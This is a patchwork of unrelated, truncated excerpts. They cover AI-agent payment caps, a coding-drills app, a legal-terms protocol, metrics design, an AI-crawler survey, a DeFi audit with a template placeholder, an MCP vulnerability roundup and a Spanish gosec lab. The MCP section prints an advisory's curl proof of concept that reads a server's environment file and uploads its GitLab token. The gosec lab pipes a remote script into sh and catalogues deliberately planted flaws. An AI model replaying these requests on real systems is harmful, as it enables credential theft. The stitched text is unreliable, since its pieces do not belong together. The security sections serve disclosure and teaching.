Never put the limit in the agent's prompt — enforce it outside the agent, at the payment layer. A per-payment cap the agent cannot raise, a daily ceiling with a kill switch, and a scored confidence gate that auto-approves cheap high-confidence spends, holds medium ones for review, and blocks everything else. Every decision logged. This is the week the question went from theoretical to personal. Between Sept 22–26, 2026, four independent signals landed: Sept 24 — WIRED (Zoë Schiffer): her AI agent "saved me $550, booked my restaurant reservations, and warned me about a phishing scam. It also wasted $64 and might be a security nightmare." A $64 mistake with no authorization step is a budget line; at scale it's a balance sheet. Sept 24 — Tony Siqueira, LinkedIn: "You ask for one specific result. They deliver something you expressly rejected, use your money to produce it, and then tell you to buy more credits." His question: What did I authorize? What will it cost? Who pays for a failed attempt that ignored a clear instruction? Sept 22 — six banks (BofA, Capital One, ING, NatWest, ASB, CBA): consumers are "concerned that AI agents may buy the wrong thing or spend too much." Sept 25 — three regulators at GFF 2026 (NPCI, SEBI, MAS): AI agents may determine intent but should not independently authorize payments. The pattern across all four: the agent's judgment about whether to spend is not the control. The control is what sits between the agent and the money. Identity is the budget. Coinbase's production pattern (Coinbase for Agents, stocks + x402 added Sept 22) runs the agent against an isolated portfolio — each x402 payment capped at 5 USDC. The agent can't spend what isn't in its wallet. A cap written in the agent's instructions is a suggestion the agent can talk itself out of. The cap must live in the layer the agent's model output cannot reach: the payment facilitator, the tool proxy, or the gateway. A rule in a system prompt is a request; a rule enforced at the gate
I used to read a solution, nod, and move on. A week later I could not write the same thing from scratch. Understanding something while it is on the screen and being able to produce it yourself are different skills, and only the second one helps in an interview or on a real project. That is why I built Daily Coding, a free web app of short drills for JavaScript/TypeScript, SQL and page building. Each drill is small enough to finish in a minute or two. You answer it, and if you get it right it comes back later. If you get it wrong, it comes back sooner. Repetition is the whole idea: the same basics, seen again until you stop having to think about them. When you answer wrong, you do not just see the correct answer. You get a hint first, so you can have another go. If you are still stuck, you get a step-by-step explanation of how to reach the answer. Here is the kind of problem I mean: const result = [1, 2, 3] .map(n => n * 2) .filter(n => n > 2); console.log(result); What does this print? The answer is [4, 6]. A wrong answer here is usually [2, 3] or [6], which comes from mixing up the order of the two steps. The hint would say "check which method runs first". The explanation walks through it: map doubles every item, giving [2, 4, 6]. filter keeps items greater than 2, so 2 is dropped. The result is [4, 6]. Nothing here is advanced. That is the point. These are the basics people say they know, and then hesitate over when typing them without help. It is a test version, so I would like to hear what is wrong with it: Are the drills the right size, or too easy or too fiddly? Do the explanations actually help, or do they just restate the answer? Which basics are missing that you would want to practise? If you have been coding for years, do the drills feel honest, or are any of them misleading? You can try it here: https://daily-coding-drills.netlify.app It is free and has no ads. Tell me what you think in the comments.
Payment protocols answer what was paid. Identity frameworks answer who acted. Nothing answered under what terms, governed by what law, and with what recourse — until the Legal Context Protocol. On June 24, 2026, the American Arbitration Association (AAA) and Integra Ledger launched LCP: an open standard that puts a merchant's legal terms, consent record, and dispute path at one predictable URL — https://{domain}/.well-known/legal-context.json — so an AI agent can verify what it's agreeing to before any payment fires. On September 23, 2026, PYMNTS ran the story that turned LCP from a June spec into a news cycle: "A budget for a purchase is not permission for every choice an agent makes inside it." A shopper who tells an agent "book a vacation under $3,000" approved a budget — but the agent can pick the airline, accept a nonrefundable fare, add insurance, and split charges across cards without asking again. Until LCP, no record existed of which decisions the shopper approved and which the agent made alone. Only 23% of U.S. consumers trust AI to handle payments (PYMNTS, Sept 23, 2026) — while retailers like Target already treat an agent's choices as the customer's own. That's not a protocol problem. It's a consent ledger problem. Before transacting, an AI agent fetches /.well-known/legal-context.json from the counterparty's domain over HTTPS. The only required field is terms — an absolute URL to a standalone, downloadable terms document. No blockchain. No API keys. No third-party service. { "terms": "https://your-domain.com/terms.html", "atr": "sha256:9f2c…ab41", "dispute_resolution": "https://www.adr.org/" } Optional fields add provability (SHA-256 ATR hash proving exactly what the terms were at transaction time), explicit acceptance, and dispute-resolution hooks. Any web server can implement LCP in minutes by serving one JSON file. Level What the agent gets When to use it 1 — Informational Terms discoverable; proceeding = implicit consent Low-value reads, micropaymen
A small SaaS should choose a hosted metrics dashboard API by testing whether it can preserve four incident signals across a rollback: request outcomes, latency, queue age, and deployment identity. The cheapest-looking chart is irrelevant if a reverted release changes labels, duplicates counters, or erases the boundary between the faulty version and the recovery. Start with the retention bill, keep the evidence needed to reconstruct a customer-support incident, and treat charts and alerts as replaceable views over that evidence. Short answer: send bounded, versioned metrics from the application, retain enough regional and deployment context to compare US and EU behavior, and evaluate any hosted service through export, replay, and rollback drills. Do not let the dashboard become the only audit trail. For custom application metrics, the dominant term is usually not the number of attractive charts. It is the number of time series retained over time: every metric name combined with every distinct label set produces another series. A support endpoint labeled by region, operation, outcome, and release stays bounded; adding customer_id, ticket_id, or raw error text makes its cardinality track business activity and defeats a predictable retention plan. Put numbers on the design before choosing an API. Consider an explicit planning model, not a benchmark: 4 signals, 2 regions, 6 operations, 3 outcomes, and 2 simultaneously relevant releases produce at most 288 active combinations. A customer identifier with 10,000 possible values would multiply the model into millions of combinations. The exact storage charge depends on the service, aggregation, scrape or push interval, and retention policy, but the architectural result does not: bounded dimensions are suitable for metrics; incident-specific identity belongs in a durable event record. For a small Node.js SaaS backed by Postgres, the runtime and database do not change that arithmetic; they change where the durable event can be
x402 Agent Spending Guard: Give Your Agent a Budget Before You Give It a Wallet On September 30, 2026, x402-seatbelt shipped — a free, open-source, zero-dependency npm package (plus a Python version, agentseatbelt on PyPI) that checks every x402 payment before it leaves your machine: budget cap, per-payment cap, emergency stop, and an optional Pay Safe verdict (GO / CAUTION / STOP). The justification is first-party monitor data from the author's own paid-x402-API monitor: of 27,499 endpoints tracked on September 30, 2026, 2,777 failed their last health check and 1,495 charged more than their own directory listing. (Source: dev.to/gntechtools) This isn't a one-off — the ecosystem landed the same answer this week from six directions: Guard Enforces x402-seatbelt (Sept 30) maxTotalUsd + maxPaymentUsd, parallel reservations, stop(), Pay Safe GO/CAUTION/STOP StableCoinManager / ERPC (Sept 25–27) Ceilings enforced in code; agent can only LOWER limits at runtime; fails closed; paid a real 1.21 EURC invoice on Base x402-agent-wallet (mid-Sept) $1/day, $0.10/request max, $0.05 approval threshold; only settled spends consume budget; HMAC-signed verdicts thebuyside-x402-agent (mid-Sept) $0.05/call, $1/day rolling, host allowlist, confirm-before-pay default x402 Foundation @x402/mcp (Sept 24) spendControls, $1 default cap, policies filter before wallet signs Countersign @countersign/x402 (Sept 18) Pre-flight allow/deny/needs_approval; decides, never signs The mental model: the guard answers "can we afford it" (fail-closed rules). The decision gate answers "should it happen at all" (confidence scoring → auto-pay / human confirm / block + escalate). Notice the guards already speak the gate: x402-agent-wallet's $0.05 approval threshold IS the confirm band. Pay Safe CAUTION IS the confirm band. Countersign's needs_approval is the confirm band. We ran both sides through our live decision gate tonight: Legit $0.03 whitelisted payment → 0.0714 → escalate $2.50 retry-loop attack (50x o
Everyone keeps asking me if they should block ChatGPT from their website. So I went and looked at what businesses in Houston are actually doing, and the answer surprised me: almost nobody is blocking AI. Their sites just aren't built in a way AI can read. Here's what I did and what I found. The full dataset is public if you want to poke at it [links at the bottom]. I pulled every business in the Houston metro that lists a website in OpenStreetMap, deduped by domain, and ended up with 3,014 sites. Anything sharing a domain across 3 or more locations got treated as a chain, which left 2,474 independents. For each site the crawler fetched three things, once: robots.txt, llms.txt, and the homepage. It identified itself with its own user agent and skipped any site whose robots.txt told it to stay out. It runs on a Cloudflare Worker with HTMLRewriter, which streams the HTML so attribute order doesn't matter and a heavy page doesn't blow up memory [I cap it at 1.5 MB]. Four checks made up what I call the "AI-ready basics": robots.txt lets the AI search crawlers in (OAI-SearchBot, ChatGPT-User, Claude-SearchBot, PerplexityBot, plus Googlebot and Bingbot since they feed AI Overviews and Copilot) at least 120 words of readable text in the raw HTML, before any JavaScript runs some kind of business schema in JSON-LD (LocalBusiness, Organization, etc) exactly one H1 31% pass all four 45% have no business schema at all 27% have no H1 19% show under 120 words before JavaScript runs (restaurants: 33%) 30% already serve an llms.txt, and several are clearly plugin-generated [one literally says "Generated by Rank Math SEO"] Chains weren't any better: 29% pass all four. Only 1.6% of independents block an AI search crawler in robots.txt. I evaluated rules per crawler token for the homepage path using RFC 9309 longest-match, so a site that blocks /search but not / doesn't count as blocked. Training-only tokens (GPTBot, ClaudeBot, Google-Extended, CCBot) are reported separately, since blo
Protocol Upgrade Compatibility Review: Sky Lending Target Protocol: Sky Lending (TVL: $5883.8M) Protocol Upgrade Compatibility Review – Sky Lending TVL: ≈ $5.88 B (Ethereum + L2s) Date of Review: 4 Oct 2026 Prepared by: [Your Name], Senior DeFi Security Researcher & Smart‑Contract Auditor Sky Lending is a high‑value, cross‑chain lending platform that aggregates liquidity across Ethereum L1 and several L2 roll‑ups (Optimism, Arbitrum, zkSync). The protocol’s core contracts are upgradeable via a Transparent Proxy (EIP‑1967) pattern controlled by a multi‑sig DAO (4‑of‑7). The purpose of this review was to assess upgrade compatibility – i.e., whether future contract upgrades can be performed safely without breaking existing state, exposing new attack surfaces, or violating the protocol’s economic guarantees. Area Verdict Critical Issues Overall Impact Proxy & Storage Layout ✅ Acceptable, but 2 high‑severity incompatibilities detected 1️⃣ Storage slot collision in InterestRateModelV2; 2️⃣ Un‑initialized storage gap in RewardsDistributor High – could corrupt user balances or reward accruals on upgrade Governance & Timelock ✅ Robust, but 1 medium‑severity governance bypass 3️⃣ “EmergencyPause” function callable by any address with PROPOSER_ROLE due to missing onlyGovernor guard Medium – could be abused to freeze the protocol during an upgrade Cross‑Chain Bridge Integration ✅ Well‑abstracted, but 1 low‑severity replay‑attack vector 4️⃣ Missing chainId check in BridgeExecutor when processing L2→L1 messages after upgrade Low – limited to bridge relayers Upgrade Authorization Logic ✅ Multi‑sig DAO, but 1 medium‑severity “upgrade‑to‑self” risk 5️⃣ Proxy admin can be set to a contract that itself is upgradeable, enabling a “self‑destruct‑upgrade” path Medium – could lead to loss of upgrade control Testing & Formal Verification ✅ Good coverage, but 1 medium‑severity gap 6️⃣ No invariant test for “totalSupply == sum(userDeposits + accruedInterest)” after upgrade Medium – could hid
Between Monday morning and Tuesday night this week, four Model Context Protocol servers published CVE records for the same basic failure: every tool they expose is reachable with no authentication. A GitLab server that reads any file on its host and uploads it wherever the request asks. A gateway that runs a program chosen by whoever can POST to it. A MySQL tool that hands its database and filesystem to the network. And an IBM sandbox whose escape comes down to two string concatenations. NVD published all four records in roughly 35 hours. I write about MCP security most weeks. On Tuesday I published a plain-language primer on the attack classes (What Is MCP Security? Common Attacks and How to Scan Your MCP Servers), and my working theory has been that the protocol's real risk lives in defaults, not in exotic prompt injection. This week read like a validation set. I pulled all four NVD records, the GitHub advisories, and the fix commits this morning, and as of publish time I found zero writeups on Hacker News or Dev.to for any of the four. A fifth record belongs in this story: LiteLLM's MCP authentication bypass has been on CISA's KEV list since September 2 and is, per CISA's coordinator scoring, under active exploitation. Here is the first one, in the advisory's own request shape: # From GHSA-cv3r-c5h8-f4g5 (CVE-2026-61560), request shape simplified from the # advisory's own PoC. Run against hosts you own only. # 1. Connect to the SSE endpoint and capture a session id. No auth required. curl -N http://target:3002/sse # 2. Ask the server to read any local file and upload it into a GitLab project. curl -X POST "http://target:3002/messages?sessionId= " \ -d '{"tool": "upload_markdown", "args": {"file_path": "/proc/self/environ"}}' # 3. Retrieve the upload from the GitLab project. The environment file contains # GITLAB_PERSONAL_ACCESS_TOKEN, which is the whole GitLab account. No login screen. No exploit code I had to write. The file read is a feature the tool advertises
En los laboratorios analizamos el código de una aplicación con SonarCloud, gosec, el analizador Para demostrar que la herramienta funciona de verdad, la aplicamos a una 17 hallazgos, cinco de ellos de severidad alta. gosec analiza el código buscando patrones que se sabe que son peligrosos: credenciales o claves privadas escritas en el fuente comandos del sistema construidos con variables rutas de archivo tomadas de entrada externa algoritmos de hash débiles consultas SQL por concatenación de cadenas redirecciones y plantillas construidas con datos del usuario Cada regla tiene un identificador (G###), una severidad y un CWE asociado, curl -sSfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh gosec -no-fail -fmt=json -out=informe.json ./... Un detalle que puede arruinar el resultado: gosec necesita el compilador de Go Files: 0, lo que parece un Es un servidor web pequeño, en un solo archivo, con seis rutas. Cada una contiene Ruta Fallo introducido /saludo plantilla HTML sin escapar y redirección con datos del usuario /descarga escritura en ruta construida sin restringir /archivo lectura de archivo con ruta de la petición /token secreto concatenado sin validar /tipo comando del sistema con valor del usuario /hash MD5 y SHA1 para derivar contraseñas No está publicada en ningún servicio y no debe usarse con datos reales. Es un Resultado real de gosec -no-fail -fmt=json: Severidad Regla Línea Hallazgo HIGH G101 30 Credencial escrita en el código HIGH G101 33-35 Clave privada RSA embebida HIGH G702 39 Inyección de comandos por análisis de taint HIGH G703 45 Recorrido de rutas por análisis de taint HIGH G703 51 Recorrido de rutas por análisis de taint MEDIUM G112 138-143 Slowloris: falta ReadHeaderTimeout MEDIUM G202 56 Concatenación de cadenas en SQL MEDIUM G204 39 Subproceso lanzado con variable MEDIUM G304 45 Inclusión de archivo vía variable MEDIUM G401 70-71 Primitiva criptográfica débil MEDIUM G401 70 Primitiva criptográfica débil MEDIUM G501 1